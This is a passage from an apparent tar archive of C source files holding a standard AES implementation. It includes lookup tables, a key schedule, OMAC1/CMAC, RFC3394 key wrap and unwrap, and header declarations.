0xa4c31a17U, 0x5e963a27U, 0x6bcb3babU, 0x45f11f9dU, 0x58abacfaU, 0x03934be3U, 0xfa552030U, 0x6df6ad76U, 0x769188ccU, 0x4c25f502U, 0xd7fc4fe5U, 0xcbd7c52aU, 0x44802635U, 0xa38fb562U, 0x5a49deb1U, 0x1b6725baU, 0x0e9845eaU, 0xc0e15dfeU, 0x7502c32fU, 0xf012814cU, 0x97a38d46U, 0xf9c66bd3U, 0x5fe7038fU, 0x9c951592U, 0x7aebbf6dU, 0x59da9552U, 0x832dd4beU, 0x21d35874U, 0x692949e0U, 0xc8448ec9U, 0x896a75c2U, 0x7978f48eU, 0x3e6b9958U, 0x71dd27b9U, 0x4fb6bee1U, 0xad17f088U, 0xac66c920U, 0x3ab47dceU, 0x4a1863dfU, 0x3182e51aU, 0x33609751U, 0x7f456253U, 0x77e0b164U, 0xae84bb6bU, 0xa01cfe81U, 0x2b94f908U, 0x68587048U, 0xfd198f45U, 0x6c8794deU, 0xf8b7527bU, 0xd323ab73U, 0x02e2724bU, 0x8f57e31fU, 0xab2a6655U, 0x2807b2ebU, 0xc2032fb5U, 0x7b9a86c5U, 0x08a5d337U, 0x87f23028U, 0xa5b223bfU, 0x6aba0203U, 0x825ced16U, 0x1c2b8acfU, 0xb492a779U, 0xf2f0f307U, 0xe2a14e69U, 0xf4cd65daU, 0xbed50605U, 0x621fd134U, 0xfe8ac4a6U, 0x539d342eU, 0x55a0a2f3U, 0xe132058aU, 0xeb75a4f6U, 0xec390b83U, 0xefaa4060U, 0x9f065e71U, 0x1051bd6eU, 0x8af93e21U, 0x063d96ddU, 0x05aedd3eU, 0xbd464de6U, 0x8db59154U, 0x5d0571c4U, 0xd46f0406U, 0x15ff6050U, 0xfb241998U, 0xe997d6bdU, 0x43cc8940U, 0x9e7767d9U, 0x42bdb0e8U, 0x8b880789U, 0x5b38e719U, 0xeedb79c8U, 0x0a47a17cU, 0x0fe97c42U, 0x1ec9f884U, 0x00000000U, 0x86830980U, 0xed48322bU, 0x70ac1e11U, 0x724e6c5aU, 0xfffbfd0eU, 0x38560f85U, 0xd51e3daeU, 0x3927362dU, 0xd9640a0fU, 0xa621685cU, 0x54d19b5bU, 0x2e3a2436U, 0x67b10c0aU, 0xe70f9357U, 0x96d2b4eeU, 0x919e1b9bU, 0xc54f80c0U, 0x20a261dcU, 0x4b695a77U, 0x1a161c12U, 0xba0ae293U, 0x2ae5c0a0U, 0xe0433c22U, 0x171d121bU, 0x0d0b0e09U, 0xc7adf28bU, 0xa8b92db6U, 0xa9c8141eU, 0x198557f1U, 0x074caf75U, 0xddbbee99U, 0x60fda37fU, 0x269ff701U, 0xf5bc5c72U, 0x3bc54466U, 0x7e345bfbU, 0x29768b43U, 0xc6dccb23U, 0xfc68b6edU, 0xf163b8e4U, 0xdccad731U, 0x85104263U, 0x22401397U, 0x112084c6U, 0x247d854aU, 0x3df8d2bbU, 0x3211aef9U, 0xa16dc729U, 0x2f4b1d9eU, 0x30f3dcb2U, 0x52ec0d86U, 0xe3d077c1U, 0x166c2bb3U, 0xb999a970U, 0x48fa1194U, 0x642247e9U, 0x8cc4a8fcU, 0x3f1aa0f0U, 0x2cd8567dU, 0x90ef2233U, 0x4ec78749U, 0xd1c1d938U, 0xa2fe8ccaU, 0x0b3698d4U, 0x81cfa6f5U, 0xde28a57aU, 0x8e26dab7U, 0xbfa43fadU, 0x9de42c3aU, 0x920d5078U, 0xcc9b6a5fU, 0x4662547eU, 0x13c2f68dU, 0xb8e890d8U, 0xf75e2e39U, 0xaff582c3U, 0x80be9f5dU, 0x937c69d0U, 0x2da96fd5U, 0x12b3cf25U, 0x993bc8acU, 0x7da71018U, 0x636ee89cU, 0xbb7bdb3bU, 0x7809cd26U, 0x18f46e59U, 0xb701ec9aU, 0x9aa8834fU, 0x6e65e695U, 0xe67eaaffU, 0xcf0821bcU, 0xe8e6ef15U, 0x9bd9bae7U, 0x36ce4a6fU, 0x09d4ea9fU, 0x7cd629b0U, 0xb2af31a4U, 0x23312a3fU, 0x9430c6a5U, 0x66c035a2U, 0xbc37744eU, 0xcaa6fc82U, 0xd0b0e090U, 0xd81533a7U, 0x984af104U, 0xdaf741ecU, 0x500e7fcdU, 0xf62f1791U, 0xd68d764dU, 0xb04d43efU, 0x4d54ccaaU, 0x04dfe496U, 0xb5e39ed1U, 0x881b4c6aU, 0x1fb8c12cU, 0x517f4665U, 0xea049d5eU, 0x355d018cU, 0x7473fa87U, 0x412efb0bU, 0x1d5ab367U, 0xd25292dbU, 0x5633e910U, 0x47136dd6U, 0x618c9ad7U, 0x0c7a37a1U, 0x148e59f8U, 0x3c89eb13U, 0x27eecea9U, 0xc935b761U, 0xe5ede11cU, 0xb13c7a47U, 0xdf599cd2U, 0x733f55f2U, 0xce791814U, 0x37bf73c7U, 0xcdea53f7U, 0xaa5b5ffdU, 0x6f14df3dU, 0xdb867844U, 0xf381caafU, 0xc43eb968U, 0x342c3824U, 0x405fc2a3U, 0xc372161dU, 0x250cbce2U, 0x498b283cU, 0x9541ff0dU, 0x017139a8U, 0xb3de080cU, 0xe49cd8b4U, 0xc1906456U, 0x84617bcbU, 0xb670d532U, 0x5c74486cU, 0x5742d0b8U, }; const u32 Td3[256] = { 0xf4a75051U, 0x4165537eU, 0x17a4c31aU, 0x275e963aU, 0xab6bcb3bU, 0x9d45f11fU, 0xfa58abacU, 0xe303934bU, 0x30fa5520U, 0x766df6adU, 0xcc769188U, 0x024c25f5U, 0xe5d7fc4fU, 0x2acbd7c5U, 0x35448026U, 0x62a38fb5U, 0xb15a49deU, 0xba1b6725U, 0xea0e9845U, 0xfec0e15dU, 0x2f7502c3U, 0x4cf01281U, 0x4697a38dU, 0xd3f9c66bU, 0x8f5fe703U, 0x929c9515U, 0x6d7aebbfU, 0x5259da95U, 0xbe832dd4U, 0x7421d358U, 0xe0692949U, 0xc9c8448eU, 0xc2896a75U, 0x8e7978f4U, 0x583e6b99U, 0xb971dd27U, 0xe14fb6beU, 0x88ad17f0U, 0x20ac66c9U, 0xce3ab47dU, 0xdf4a1863U, 0x1a3182e5U, 0x51336097U, 0x537f4562U, 0x6477e0b1U, 0x6bae84bbU, 0x81a01cfeU, 0x082b94f9U, 0x48685870U, 0x45fd198fU, 0xde6c8794U, 0x7bf8b752U, 0x73d323abU, 0x4b02e272U, 0x1f8f57e3U, 0x55ab2a66U, 0xeb2807b2U, 0xb5c2032fU, 0xc57b9a86U, 0x3708a5d3U, 0x2887f230U, 0xbfa5b223U, 0x036aba02U, 0x16825cedU, 0xcf1c2b8aU, 0x79b492a7U, 0x07f2f0f3U, 0x69e2a14eU, 0xdaf4cd65U, 0x05bed506U, 0x34621fd1U, 0xa6fe8ac4U, 0x2e539d34U, 0xf355a0a2U, 0x8ae13205U, 0xf6eb75a4U, 0x83ec390bU, 0x60efaa40U, 0x719f065eU, 0x6e1051bdU, 0x218af93eU, 0xdd063d96U, 0x3e05aeddU, 0xe6bd464dU, 0x548db591U, 0xc45d0571U, 0x06d46f04U, 0x5015ff60U, 0x98fb2419U, 0xbde997d6U, 0x4043cc89U, 0xd99e7767U, 0xe842bdb0U, 0x898b8807U, 0x195b38e7U, 0xc8eedb79U, 0x7c0a47a1U, 0x420fe97cU, 0x841ec9f8U, 0x00000000U, 0x80868309U, 0x2bed4832U, 0x1170ac1eU, 0x5a724e6cU, 0x0efffbfdU, 0x8538560fU, 0xaed51e3dU, 0x2d392736U, 0x0fd9640aU, 0x5ca62168U, 0x5b54d19bU, 0x362e3a24U, 0x0a67b10cU, 0x57e70f93U, 0xee96d2b4U, 0x9b919e1bU, 0xc0c54f80U, 0xdc20a261U, 0x774b695aU, 0x121a161cU, 0x93ba0ae2U, 0xa02ae5c0U, 0x22e0433cU, 0x1b171d12U, 0x090d0b0eU, 0x8bc7adf2U, 0xb6a8b92dU, 0x1ea9c814U, 0xf1198557U, 0x75074cafU, 0x99ddbbeeU, 0x7f60fda3U, 0x01269ff7U, 0x72f5bc5cU, 0x663bc544U, 0xfb7e345bU, 0x4329768bU, 0x23c6dccbU, 0xedfc68b6U, 0xe4f163b8U, 0x31dccad7U, 0x63851042U, 0x97224013U, 0xc6112084U, 0x4a247d85U, 0xbb3df8d2U, 0xf93211aeU, 0x29a16dc7U, 0x9e2f4b1dU, 0xb230f3dcU, 0x8652ec0dU, 0xc1e3d077U, 0xb3166c2bU, 0x70b999a9U, 0x9448fa11U, 0xe9642247U, 0xfc8cc4a8U, 0xf03f1aa0U, 0x7d2cd856U, 0x3390ef22U, 0x494ec787U, 0x38d1c1d9U, 0xcaa2fe8cU, 0xd40b3698U, 0xf581cfa6U, 0x7ade28a5U, 0xb78e26daU, 0xadbfa43fU, 0x3a9de42cU, 0x78920d50U, 0x5fcc9b6aU, 0x7e466254U, 0x8d13c2f6U, 0xd8b8e890U, 0x39f75e2eU, 0xc3aff582U, 0x5d80be9fU, 0xd0937c69U, 0xd52da96fU, 0x2512b3cfU, 0xac993bc8U, 0x187da710U, 0x9c636ee8U, 0x3bbb7bdbU, 0x267809cdU, 0x5918f46eU, 0x9ab701ecU, 0x4f9aa883U, 0x956e65e6U, 0xffe67eaaU, 0xbccf0821U, 0x15e8e6efU, 0xe79bd9baU, 0x6f36ce4aU, 0x9f09d4eaU, 0xb07cd629U, 0xa4b2af31U, 0x3f23312aU, 0xa59430c6U, 0xa266c035U, 0x4ebc3774U, 0x82caa6fcU, 0x90d0b0e0U, 0xa7d81533U, 0x04984af1U, 0xecdaf741U, 0xcd500e7fU, 0x91f62f17U, 0x4dd68d76U, 0xefb04d43U, 0xaa4d54ccU, 0x9604dfe4U, 0xd1b5e39eU, 0x6a881b4cU, 0x2c1fb8c1U, 0x65517f46U, 0x5eea049dU, 0x8c355d01U, 0x877473faU, 0x0b412efbU, 0x671d5ab3U, 0xdbd25292U, 0x105633e9U, 0xd647136dU, 0xd7618c9aU, 0xa10c7a37U, 0xf8148e59U, 0x133c89ebU, 0xa927eeceU, 0x61c935b7U, 0x1ce5ede1U, 0x47b13c7aU, 0xd2df599cU, 0xf2733f55U, 0x14ce7918U, 0xc737bf73U, 0xf7cdea53U, 0xfdaa5b5fU, 0x3d6f14dfU, 0x44db8678U, 0xaff381caU, 0x68c43eb9U, 0x24342c38U, 0xa3405fc2U, 0x1dc37216U, 0xe2250cbcU, 0x3c498b28U, 0x0d9541ffU, 0xa8017139U, 0x0cb3de08U, 0xb4e49cd8U, 0x56c19064U, 0xcb84617bU, 0x32b670d5U, 0x6c5c7448U, 0xb85742d0U, }; const u32 Td4[256] = { 0x52525252U, 0x09090909U, 0x6a6a6a6aU, 0xd5d5d5d5U, 0x30303030U, 0x36363636U, 0xa5a5a5a5U, 0x38383838U, 0xbfbfbfbfU, 0x40404040U, 0xa3a3a3a3U, 0x9e9e9e9eU, 0x81818181U, 0xf3f3f3f3U, 0xd7d7d7d7U, 0xfbfbfbfbU, 0x7c7c7c7cU, 0xe3e3e3e3U, 0x39393939U, 0x82828282U, 0x9b9b9b9bU, 0x2f2f2f2fU, 0xffffffffU, 0x87878787U, 0x34343434U, 0x8e8e8e8eU, 0x43434343U, 0x44444444U, 0xc4c4c4c4U, 0xdedededeU, 0xe9e9e9e9U, 0xcbcbcbcbU, 0x54545454U, 0x7b7b7b7bU, 0x94949494U, 0x32323232U, 0xa6a6a6a6U, 0xc2c2c2c2U, 0x23232323U, 0x3d3d3d3dU, 0xeeeeeeeeU, 0x4c4c4c4cU, 0x95959595U, 0x0b0b0b0bU, 0x42424242U, 0xfafafafaU, 0xc3c3c3c3U, 0x4e4e4e4eU, 0x08080808U, 0x2e2e2e2eU, 0xa1a1a1a1U, 0x66666666U, 0x28282828U, 0xd9d9d9d9U, 0x24242424U, 0xb2b2b2b2U, 0x76767676U, 0x5b5b5b5bU, 0xa2a2a2a2U, 0x49494949U, 0x6d6d6d6dU, 0x8b8b8b8bU, 0xd1d1d1d1U, 0x25252525U, 0x72727272U, 0xf8f8f8f8U, 0xf6f6f6f6U, 0x64646464U, 0x86868686U, 0x68686868U, 0x98989898U, 0x16161616U, 0xd4d4d4d4U, 0xa4a4a4a4U, 0x5c5c5c5cU, 0xccccccccU, 0x5d5d5d5dU, 0x65656565U, 0xb6b6b6b6U, 0x92929292U, 0x6c6c6c6cU, 0x70707070U, 0x48484848U, 0x50505050U, 0xfdfdfdfdU, 0xededededU, 0xb9b9b9b9U, 0xdadadadaU, 0x5e5e5e5eU, 0x15151515U, 0x46464646U, 0x57575757U, 0xa7a7a7a7U, 0x8d8d8d8dU, 0x9d9d9d9dU, 0x84848484U, 0x90909090U, 0xd8d8d8d8U, 0xababababU, 0x00000000U, 0x8c8c8c8cU, 0xbcbcbcbcU, 0xd3d3d3d3U, 0x0a0a0a0aU, 0xf7f7f7f7U, 0xe4e4e4e4U, 0x58585858U, 0x05050505U, 0xb8b8b8b8U, 0xb3b3b3b3U, 0x45454545U, 0x06060606U, 0xd0d0d0d0U, 0x2c2c2c2cU, 0x1e1e1e1eU, 0x8f8f8f8fU, 0xcacacacaU, 0x3f3f3f3fU, 0x0f0f0f0fU, 0x02020202U, 0xc1c1c1c1U, 0xafafafafU, 0xbdbdbdbdU, 0x03030303U, 0x01010101U, 0x13131313U, 0x8a8a8a8aU, 0x6b6b6b6bU, 0x3a3a3a3aU, 0x91919191U, 0x11111111U, 0x41414141U, 0x4f4f4f4fU, 0x67676767U, 0xdcdcdcdcU, 0xeaeaeaeaU, 0x97979797U, 0xf2f2f2f2U, 0xcfcfcfcfU, 0xcecececeU, 0xf0f0f0f0U, 0xb4b4b4b4U, 0xe6e6e6e6U, 0x73737373U, 0x96969696U, 0xacacacacU, 0x74747474U, 0x22222222U, 0xe7e7e7e7U, 0xadadadadU, 0x35353535U, 0x85858585U, 0xe2e2e2e2U, 0xf9f9f9f9U, 0x37373737U, 0xe8e8e8e8U, 0x1c1c1c1cU, 0x75757575U, 0xdfdfdfdfU, 0x6e6e6e6eU, 0x47474747U, 0xf1f1f1f1U, 0x1a1a1a1aU, 0x71717171U, 0x1d1d1d1dU, 0x29292929U, 0xc5c5c5c5U, 0x89898989U, 0x6f6f6f6fU, 0xb7b7b7b7U, 0x62626262U, 0x0e0e0e0eU, 0xaaaaaaaaU, 0x18181818U, 0xbebebebeU, 0x1b1b1b1bU, 0xfcfcfcfcU, 0x56565656U, 0x3e3e3e3eU, 0x4b4b4b4bU, 0xc6c6c6c6U, 0xd2d2d2d2U, 0x79797979U, 0x20202020U, 0x9a9a9a9aU, 0xdbdbdbdbU, 0xc0c0c0c0U, 0xfefefefeU, 0x78787878U, 0xcdcdcdcdU, 0x5a5a5a5aU, 0xf4f4f4f4U, 0x1f1f1f1fU, 0xddddddddU, 0xa8a8a8a8U, 0x33333333U, 0x88888888U, 0x07070707U, 0xc7c7c7c7U, 0x31313131U, 0xb1b1b1b1U, 0x12121212U, 0x10101010U, 0x59595959U, 0x27272727U, 0x80808080U, 0xececececU, 0x5f5f5f5fU, 0x60606060U, 0x51515151U, 0x7f7f7f7fU, 0xa9a9a9a9U, 0x19191919U, 0xb5b5b5b5U, 0x4a4a4a4aU, 0x0d0d0d0dU, 0x2d2d2d2dU, 0xe5e5e5e5U, 0x7a7a7a7aU, 0x9f9f9f9fU, 0x93939393U, 0xc9c9c9c9U, 0x9c9c9c9cU, 0xefefefefU, 0xa0a0a0a0U, 0xe0e0e0e0U, 0x3b3b3b3bU, 0x4d4d4d4dU, 0xaeaeaeaeU, 0x2a2a2a2aU, 0xf5f5f5f5U, 0xb0b0b0b0U, 0xc8c8c8c8U, 0xebebebebU, 0xbbbbbbbbU, 0x3c3c3c3cU, 0x83838383U, 0x53535353U, 0x99999999U, 0x61616161U, 0x17171717U, 0x2b2b2b2bU, 0x04040404U, 0x7e7e7e7eU, 0xbabababaU, 0x77777777U, 0xd6d6d6d6U, 0x26262626U, 0xe1e1e1e1U, 0x69696969U, 0x14141414U, 0x63636363U, 0x55555555U, 0x21212121U, 0x0c0c0c0cU, 0x7d7d7d7dU, }; const u32 rcon[] = { 0x01000000, 0x02000000, 0x04000000, 0x08000000, 0x10000000, 0x20000000, 0x40000000, 0x80000000, 0x1B000000, 0x36000000, /* for 128-bit blocks, Rijndael never uses more than 10 rcon values */ }; #else /* AES_SMALL_TABLES */ const u8 Td4s[256] = { 0x52U, 0x09U, 0x6aU, 0xd5U, 0x30U, 0x36U, 0xa5U, 0x38U, 0xbfU, 0x40U, 0xa3U, 0x9eU, 0x81U, 0xf3U, 0xd7U, 0xfbU, 0x7cU, 0xe3U, 0x39U, 0x82U, 0x9bU, 0x2fU, 0xffU, 0x87U, 0x34U, 0x8eU, 0x43U, 0x44U, 0xc4U, 0xdeU, 0xe9U, 0xcbU, 0x54U, 0x7bU, 0x94U, 0x32U, 0xa6U, 0xc2U, 0x23U, 0x3dU, 0xeeU, 0x4cU, 0x95U, 0x0bU, 0x42U, 0xfaU, 0xc3U, 0x4eU, 0x08U, 0x2eU, 0xa1U, 0x66U, 0x28U, 0xd9U, 0x24U, 0xb2U, 0x76U, 0x5bU, 0xa2U, 0x49U, 0x6dU, 0x8bU, 0xd1U, 0x25U, 0x72U, 0xf8U, 0xf6U, 0x64U, 0x86U, 0x68U, 0x98U, 0x16U, 0xd4U, 0xa4U, 0x5cU, 0xccU, 0x5dU, 0x65U, 0xb6U, 0x92U, 0x6cU, 0x70U, 0x48U, 0x50U, 0xfdU, 0xedU, 0xb9U, 0xdaU, 0x5eU, 0x15U, 0x46U, 0x57U, 0xa7U, 0x8dU, 0x9dU, 0x84U, 0x90U, 0xd8U, 0xabU, 0x00U, 0x8cU, 0xbcU, 0xd3U, 0x0aU, 0xf7U, 0xe4U, 0x58U, 0x05U, 0xb8U, 0xb3U, 0x45U, 0x06U, 0xd0U, 0x2cU, 0x1eU, 0x8fU, 0xcaU, 0x3fU, 0x0fU, 0x02U, 0xc1U, 0xafU, 0xbdU, 0x03U, 0x01U, 0x13U, 0x8aU, 0x6bU, 0x3aU, 0x91U, 0x11U, 0x41U, 0x4fU, 0x67U, 0xdcU, 0xeaU, 0x97U, 0xf2U, 0xcfU, 0xceU, 0xf0U, 0xb4U, 0xe6U, 0x73U, 0x96U, 0xacU, 0x74U, 0x22U, 0xe7U, 0xadU, 0x35U, 0x85U, 0xe2U, 0xf9U, 0x37U, 0xe8U, 0x1cU, 0x75U, 0xdfU, 0x6eU, 0x47U, 0xf1U, 0x1aU, 0x71U, 0x1dU, 0x29U, 0xc5U, 0x89U, 0x6fU, 0xb7U, 0x62U, 0x0eU, 0xaaU, 0x18U, 0xbeU, 0x1bU, 0xfcU, 0x56U, 0x3eU, 0x4bU, 0xc6U, 0xd2U, 0x79U, 0x20U, 0x9aU, 0xdbU, 0xc0U, 0xfeU, 0x78U, 0xcdU, 0x5aU, 0xf4U, 0x1fU, 0xddU, 0xa8U, 0x33U, 0x88U, 0x07U, 0xc7U, 0x31U, 0xb1U, 0x12U, 0x10U, 0x59U, 0x27U, 0x80U, 0xecU, 0x5fU, 0x60U, 0x51U, 0x7fU, 0xa9U, 0x19U, 0xb5U, 0x4aU, 0x0dU, 0x2dU, 0xe5U, 0x7aU, 0x9fU, 0x93U, 0xc9U, 0x9cU, 0xefU, 0xa0U, 0xe0U, 0x3bU, 0x4dU, 0xaeU, 0x2aU, 0xf5U, 0xb0U, 0xc8U, 0xebU, 0xbbU, 0x3cU, 0x83U, 0x53U, 0x99U, 0x61U, 0x17U, 0x2bU, 0x04U, 0x7eU, 0xbaU, 0x77U, 0xd6U, 0x26U, 0xe1U, 0x69U, 0x14U, 0x63U, 0x55U, 0x21U, 0x0cU, 0x7dU, }; const u8 rcons[] = { 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1B, 0x36 /* for 128-bit blocks, Rijndael never uses more than 10 rcon values */ }; #endif /* AES_SMALL_TABLES */ /** * Expand the cipher key into the encryption key schedule. * * @return the number of rounds for the given cipher key size. */ void rijndaelKeySetupEnc(u32 rk[/*44*/], const u8 cipherKey[]) { int i; u32 temp; rk[0] = GETU32(cipherKey ); rk[1] = GETU32(cipherKey + 4); rk[2] = GETU32(cipherKey + 8); rk[3] = GETU32(cipherKey + 12); for (i = 0; i < 10; i++) { temp = rk[3]; rk[4] = rk[0] ^ TE421(temp) ^ TE432(temp) ^ TE443(temp) ^ TE414(temp) ^ RCON(i); rk[5] = rk[1] ^ rk[4]; rk[6] = rk[2] ^ rk[5]; rk[7] = rk[3] ^ rk[6]; rk += 4; } } bully-1.4-00/src/crypto/aes-omac1.c000077500000000000000000000057521361530463600167660ustar00rootroot00000000000000/* * One-key CBC MAC (OMAC1) hash with AES-128 * * Copyright (c) 2003-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "aes.h" #include "aes_wrap.h" static void gf_mulx(u8 *pad) { int i, carry; carry = pad[0] & 0x80; for (i = 0; i < AES_BLOCK_SIZE - 1; i++) pad[i] = (pad[i] << 1) | (pad[i + 1] >> 7); pad[AES_BLOCK_SIZE - 1] <<= 1; if (carry) pad[AES_BLOCK_SIZE - 1] ^= 0x87; } /** * omac1_aes_128_vector - One-Key CBC MAC (OMAC1) hash with AES-128 * @key: 128-bit key for the hash operation * @num_elem: Number of elements in the data vector * @addr: Pointers to the data areas * @len: Lengths of the data blocks * @mac: Buffer for MAC (128 bits, i.e., 16 bytes) * Returns: 0 on success, -1 on failure * * This is a mode for using block cipher (AES in this case) for authentication. * OMAC1 was standardized with the name CMAC by NIST in a Special Publication * (SP) 800-38B. */ int omac1_aes_128_vector(const u8 *key, size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { void *ctx; u8 cbc[AES_BLOCK_SIZE], pad[AES_BLOCK_SIZE]; const u8 *pos, *end; size_t i, e, left, total_len; ctx = aes_encrypt_init(key, 16); if (ctx == NULL) return -1; os_memset(cbc, 0, AES_BLOCK_SIZE); total_len = 0; for (e = 0; e < num_elem; e++) total_len += len[e]; left = total_len; e = 0; pos = addr[0]; end = pos + len[0]; while (left >= AES_BLOCK_SIZE) { for (i = 0; i < AES_BLOCK_SIZE; i++) { cbc[i] ^= *pos++; if (pos >= end) { e++; pos = addr[e]; end = pos + len[e]; } } if (left > AES_BLOCK_SIZE) aes_encrypt(ctx, cbc, cbc); left -= AES_BLOCK_SIZE; } os_memset(pad, 0, AES_BLOCK_SIZE); aes_encrypt(ctx, pad, pad); gf_mulx(pad); if (left || total_len == 0) { for (i = 0; i < left; i++) { cbc[i] ^= *pos++; if (pos >= end) { e++; pos = addr[e]; end = pos + len[e]; } } cbc[left] ^= 0x80; gf_mulx(pad); } for (i = 0; i < AES_BLOCK_SIZE; i++) pad[i] ^= cbc[i]; aes_encrypt(ctx, pad, mac); aes_encrypt_deinit(ctx); return 0; } /** * omac1_aes_128 - One-Key CBC MAC (OMAC1) hash with AES-128 (aka AES-CMAC) * @key: 128-bit key for the hash operation * @data: Data buffer for which a MAC is determined * @data_len: Length of data buffer in bytes * @mac: Buffer for MAC (128 bits, i.e., 16 bytes) * Returns: 0 on success, -1 on failure * * This is a mode for using block cipher (AES in this case) for authentication. * OMAC1 was standardized with the name CMAC by NIST in a Special Publication * (SP) 800-38B. */ int omac1_aes_128(const u8 *key, const u8 *data, size_t data_len, u8 *mac) { return omac1_aes_128_vector(key, 1, &data, &data_len, mac); } bully-1.4-00/src/crypto/aes-unwrap.c000077500000000000000000000035541361530463600173000ustar00rootroot00000000000000/* * AES key unwrap (128-bit KEK, RFC3394) * * Copyright (c) 2003-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "aes.h" #include "aes_wrap.h" /** * aes_unwrap - Unwrap key with AES Key Wrap Algorithm (128-bit KEK) (RFC3394) * @kek: Key encryption key (KEK) * @n: Length of the plaintext key in 64-bit units; e.g., 2 = 128-bit = 16 * bytes * @cipher: Wrapped key to be unwrapped, (n + 1) * 64 bits * @plain: Plaintext key, n * 64 bits * Returns: 0 on success, -1 on failure (e.g., integrity verification failed) */ int aes_unwrap(const u8 *kek, int n, const u8 *cipher, u8 *plain) { u8 a[8], *r, b[16]; int i, j; void *ctx; /* 1) Initialize variables. */ os_memcpy(a, cipher, 8); r = plain; os_memcpy(r, cipher + 8, 8 * n); ctx = aes_decrypt_init(kek, 16); if (ctx == NULL) return -1; /* 2) Compute intermediate values. * For j = 5 to 0 * For i = n to 1 * B = AES-1(K, (A ^ t) | R[i]) where t = n*j+i * A = MSB(64, B) * R[i] = LSB(64, B) */ for (j = 5; j >= 0; j--) { r = plain + (n - 1) * 8; for (i = n; i >= 1; i--) { os_memcpy(b, a, 8); b[7] ^= n * j + i; os_memcpy(b + 8, r, 8); aes_decrypt(ctx, b, b); os_memcpy(a, b, 8); os_memcpy(r, b + 8, 8); r -= 8; } } aes_decrypt_deinit(ctx); /* 3) Output results. * * These are already in @plain due to the location of temporary * variables. Just verify that the IV matches with the expected value. */ for (i = 0; i < 8; i++) { if (a[i] != 0xa6) return -1; } return 0; } bully-1.4-00/src/crypto/aes-wrap.c000077500000000000000000000033331361530463600167300ustar00rootroot00000000000000/* * AES Key Wrap Algorithm (128-bit KEK) (RFC3394) * * Copyright (c) 2003-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "aes.h" #include "aes_wrap.h" /** * aes_wrap - Wrap keys with AES Key Wrap Algorithm (128-bit KEK) (RFC3394) * @kek: 16-octet Key encryption key (KEK) * @n: Length of the plaintext key in 64-bit units; e.g., 2 = 128-bit = 16 * bytes * @plain: Plaintext key to be wrapped, n * 64 bits * @cipher: Wrapped key, (n + 1) * 64 bits * Returns: 0 on success, -1 on failure */ int aes_wrap(const u8 *kek, int n, const u8 *plain, u8 *cipher) { u8 *a, *r, b[16]; int i, j; void *ctx; a = cipher; r = cipher + 8; /* 1) Initialize variables. */ os_memset(a, 0xa6, 8); os_memcpy(r, plain, 8 * n); ctx = aes_encrypt_init(kek, 16); if (ctx == NULL) return -1; /* 2) Calculate intermediate values. * For j = 0 to 5 * For i=1 to n * B = AES(K, A | R[i]) * A = MSB(64, B) ^ t where t = (n*j)+i * R[i] = LSB(64, B) */ for (j = 0; j <= 5; j++) { r = cipher + 8; for (i = 1; i <= n; i++) { os_memcpy(b, a, 8); os_memcpy(b + 8, r, 8); aes_encrypt(ctx, b, b); os_memcpy(a, b, 8); a[7] ^= n * j + i; os_memcpy(r, b + 8, 8); r += 8; } } aes_encrypt_deinit(ctx); /* 3) Output the results. * * These are already in @cipher due to the location of temporary * variables. */ return 0; } bully-1.4-00/src/crypto/aes.h000077500000000000000000000014011361530463600157600ustar00rootroot00000000000000/* * AES functions * Copyright (c) 2003-2006, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef AES_H #define AES_H #define AES_BLOCK_SIZE 16 void * aes_encrypt_init(const u8 *key, size_t len); void aes_encrypt(void *ctx, const u8 *plain, u8 *crypt); void aes_encrypt_deinit(void *ctx); void * aes_decrypt_init(const u8 *key, size_t len); void aes_decrypt(void *ctx, const u8 *crypt, u8 *plain); void aes_decrypt_deinit(void *ctx); #endif /* AES_H */ bully-1.4-00/src/crypto/aes_i.h000077500000000000000000000075641361530463600163100ustar00rootroot00000000000000/* * AES (Rijndael) cipher * Copyright (c) 2003-2005, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef AES_I_H #define AES_I_H #include "aes.h" /* #define FULL_UNROLL */ #define AES_SMALL_TABLES extern const u32 Te0[256]; extern const u32 Te1[256]; extern const u32 Te2[256]; extern const u32 Te3[256]; extern const u32 Te4[256]; extern const u32 Td0[256]; extern const u32 Td1[256]; extern const u32 Td2[256]; extern const u32 Td3[256]; extern const u32 Td4[256]; extern const u32 rcon[10]; extern const u8 Td4s[256]; extern const u8 rcons[10]; #ifndef AES_SMALL_TABLES #define RCON(i) rcon[(i)] #define TE0(i) Te0[((i) >> 24) & 0xff] #define TE1(i) Te1[((i) >> 16) & 0xff] #define TE2(i) Te2[((i) >> 8) & 0xff] #define TE3(i) Te3[(i) & 0xff] #define TE41(i) (Te4[((i) >> 24) & 0xff] & 0xff000000) #define TE42(i) (Te4[((i) >> 16) & 0xff] & 0x00ff0000) #define TE43(i) (Te4[((i) >> 8) & 0xff] & 0x0000ff00) #define TE44(i) (Te4[(i) & 0xff] & 0x000000ff) #define TE421(i) (Te4[((i) >> 16) & 0xff] & 0xff000000) #define TE432(i) (Te4[((i) >> 8) & 0xff] & 0x00ff0000) #define TE443(i) (Te4[(i) & 0xff] & 0x0000ff00) #define TE414(i) (Te4[((i) >> 24) & 0xff] & 0x000000ff) #define TE4(i) (Te4[(i)] & 0x000000ff) #define TD0(i) Td0[((i) >> 24) & 0xff] #define TD1(i) Td1[((i) >> 16) & 0xff] #define TD2(i) Td2[((i) >> 8) & 0xff] #define TD3(i) Td3[(i) & 0xff] #define TD41(i) (Td4[((i) >> 24) & 0xff] & 0xff000000) #define TD42(i) 